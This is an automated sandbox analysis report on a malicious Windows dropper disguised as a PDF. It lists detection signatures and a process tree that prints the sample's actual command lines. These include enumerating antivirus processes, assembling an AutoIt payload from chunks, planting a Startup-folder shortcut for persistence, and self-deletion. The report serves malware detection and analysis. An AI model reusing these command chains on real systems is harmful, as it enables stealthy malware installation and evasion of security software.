Edit tour

Windows Analysis Report
scan_doc_zapit_836893.pdf.exe

Overview

General Information

Sample name:	scan_doc_zapit_836893.pdf.exe
Analysis ID:	1546130
MD5:	cbcb0ff5aa471e22a6b129196a556d97
SHA1:	b3dca2cac1624e6a8b318708c02376c1eb6ab784
SHA256:	5c1ce789a60371e388881ffbe0311bd2829e5e8dbaf77506929e50638f22d866
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

Sigma detected: Suspicious Double Extension File Execution

AI detected suspicious sample

Deletes itself after installation

Drops PE files with a suspicious file extension

Initial sample is a PE file and has a suspicious name

Sigma detected: WScript or CScript Dropper

Uses an obfuscated file name to hide its real file extension (double extension)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

scan_doc_zapit_836893.pdf.exe (PID: 432 cmdline: "C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe" MD5: CBCB0FF5AA471E22A6B129196A556D97)

cmd.exe (PID: 1976 cmdline: "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1136 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3352 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6436 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1968 cmdline: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2876 cmdline: cmd /c md 185027 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 1816 cmdline: findstr /V "venezuelalandscapesmeantposters" Tournaments MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2748 cmdline: cmd /c copy /b ..\Martin + ..\Organizing + ..\Finnish + ..\Determined + ..\Already + ..\Presentations + ..\Hint H MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Spy.pif (PID: 6808 cmdline: Spy.pif H MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 2940 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & echo URL="C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 5344 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 6556 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

NanoCipher.scr (PID: 6536 cmdline: "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr" "C:\Users\user\AppData\Local\NanoSec Cryptographics\o" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe", CommandLine: "C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe, NewProcessName: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe, OriginalFileName: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe", ProcessId: 432, ProcessName: scan_doc_zapit_836893.pdf.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" , ProcessId: 6556, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Spy.pif H, CommandLine: Spy.pif H, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\185027\Spy.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\185027\Spy.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\185027\Spy.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1976, ParentProcessName: cmd.exe, ProcessCommandLine: Spy.pif H, ProcessId: 6808, ProcessName: Spy.pif

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\185027\Spy.pif, ProcessId: 6808, TargetFilename: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe", ParentImage: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe, ParentProcessId: 432, ParentProcessName: scan_doc_zapit_836893.pdf.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat, ProcessId: 1976, ProcessName: cmd.exe

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\185027\Spy.pif, ProcessId: 6808, TargetFilename: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" , ProcessId: 6556, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 2940, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1976, ParentProcessName: cmd.exe, ProcessCommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 1968, ProcessName: findstr.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T14:37:56.122278+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.6	49744	TCP
2024-10-31T14:38:36.677956+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.6	49920	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.3% probability

Source: scan_doc_zapit_836893.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: scan_doc_zapit_836893.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00AE4005
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00AE494A
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00AE3CE2
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00AEC2FF
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AECD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00AECD9F
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AECD14 FindFirstFileW,FindClose,	11_2_00AECD14
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00AEF5D8
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00AEF735
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00AEFA36
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00764005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00764005
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076494A GetFileAttributesW,FindFirstFileW,FindClose,	17_2_0076494A
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0076C2FF
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076CD14 FindFirstFileW,FindClose,	17_2_0076CD14
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_0076CD9F
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0076F5D8
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0076F735
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0076FA36
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00763CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00763CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\185027\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\185027	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:49744
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:49920

Source: unknown

DNS traffic detected: query: EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu replaycode: Name error (3)

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AF29BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

11_2_00AF29BA

Source: global traffic

DNS traffic detected: DNS query: EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu

Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmp, NanoCipher.scr, 00000011.00000000.2289726663.00000000007C9000.00000002.00000001.01000000.00000008.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: scan_doc_zapit_836893.pdf.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: NanoCipher.scr.11.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AF4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		11_2_00AF4830
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00774830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		17_2_00774830

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AF4632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_00AF4632

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00B0D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		11_2_00B0D164
